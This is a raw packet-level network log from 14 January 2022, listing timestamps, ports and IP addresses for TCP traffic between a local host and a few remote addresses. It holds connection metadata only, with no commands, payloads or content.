Jan 14, 2022 09:26:03.016076088 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016125917 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016128063 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016139030 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016177893 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016227961 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016256094 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016275883 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016328096 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016357899 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016381025 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016428947 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016459942 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016478062 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016529083 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016558886 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016581059 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016628981 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016659021 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016661882 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016695976 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016730070 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016733885 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016771078 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016799927 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016808987 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016843081 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016875982 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016876936 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016912937 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016937971 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.016944885 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.016978979 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017011881 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017045021 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017071962 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017080069 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017113924 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017141104 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017148018 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017183065 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017215014 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017247915 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017275095 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017282009 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017313957 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017339945 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017348051 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017381907 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017415047 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017450094 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017452002 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017482042 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017487049 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017519951 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017545938 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017553091 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017585993 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017617941 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017651081 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017679930 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017684937 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017719030 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017745972 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017750025 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017785072 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017812014 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017818928 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017874956 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017903090 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017909050 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017944098 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.017973900 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.017990112 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018026114 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018068075 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018071890 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018105030 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018131971 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018140078 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018173933 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018205881 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018239975 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018268108 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018274069 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018306971 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018340111 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018343925 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018381119 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018414974 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018450022 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018477917 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018481970 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018517017 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018543959 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018549919 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018582106 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018608093 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018615961 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018650055 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018676996 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018683910 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018718004 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018749952 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018749952 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018785000 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018812895 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018819094 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018852949 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018879890 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.018887043 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018922091 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.018945932 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.018946886 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.021857023 CET	49882	38133	192.168.2.4	86.107.197.138
Jan 14, 2022 09:26:03.030282021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.030307055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.030314922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.030488014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.030503035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.030659914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.030674934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031085968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031102896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031111002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031275988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031291962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031446934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031464100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031630993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031646967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031802893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.031820059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032004118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032018900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032167912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032187939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032336950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032356977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032500029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032521009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032665968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032682896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032839060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.032859087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033020973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033036947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033165932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033180952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033345938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033363104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033499002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033515930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033674002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033689976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033852100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033869982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.033976078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034137964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034152985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034301043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034317970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034471989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034488916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034661055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034678936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034832001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.034842014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035038948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035054922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035212994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035229921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035399914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035418034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035805941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.035990953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036005974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036156893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036175013 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036252022 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036314964 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036333084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036340952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036348104 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036377907 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036434889 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036477089 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036501884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036506891 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036514997 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036554098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036554098 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036588907 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036592960 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036633015 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036660910 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036673069 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036714077 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036742926 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036751986 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036777973 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036792040 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036832094 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036874056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036880016 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036884069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036911011 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.036926031 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.036972046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.036978006 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037015915 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.037030935 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037071943 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.037072897 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037082911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037112951 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037152052 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037190914 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037219048 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.037228107 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037272930 CET	80	49906	8.209.70.0	192.168.2.4
Jan 14, 2022 09:26:03.037286997 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.037292957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037302971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037589073 CET	49906	80	192.168.2.4	8.209.70.0
Jan 14, 2022 09:26:03.037616968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037780046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037786961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037961006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.037971973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038137913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038155079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038311958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038326979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038485050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038501978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038661957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038676977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038841009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.038857937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039016008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039031982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039191008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039206982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039364100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039380074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039545059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039561987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039719105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039735079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039892912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.039908886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.040070057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.040085077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.040246964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.040266037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.043510914 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.043549061 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.043582916 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.043615103 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.043642044 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.043668032 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.045902014 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.062045097 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.062553883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.062580109 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.066293955 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.066330910 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.072372913 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.072403908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.073956013 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.082276106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.082304001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083165884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083182096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083381891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083399057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083631039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083646059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083933115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.083950043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.084664106 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.084680080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.084805012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.084821939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.084985018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.085458040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.085474968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.085480928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.085789919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.085814953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.086155891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.086180925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.086497068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.086513996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.086815119 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.086832047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.087153912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.087169886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.087490082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.087507010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.087819099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.087835073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088167906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088185072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088495970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088514090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088829041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088843107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.088999987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.089479923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.089582920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.089664936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.089869022 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090029955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090045929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090260029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090377092 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.090440035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090504885 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.090532064 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.090650082 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090830088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.090972900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.091227055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.091376066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.091701031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.091789007 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.092530012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.092545986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.092842102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.092859030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093173981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093189955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093506098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093523979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093761921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093776941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:03.093877077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:03.093908072 CET	80	49891	185.215.113.35	192.168.2.4
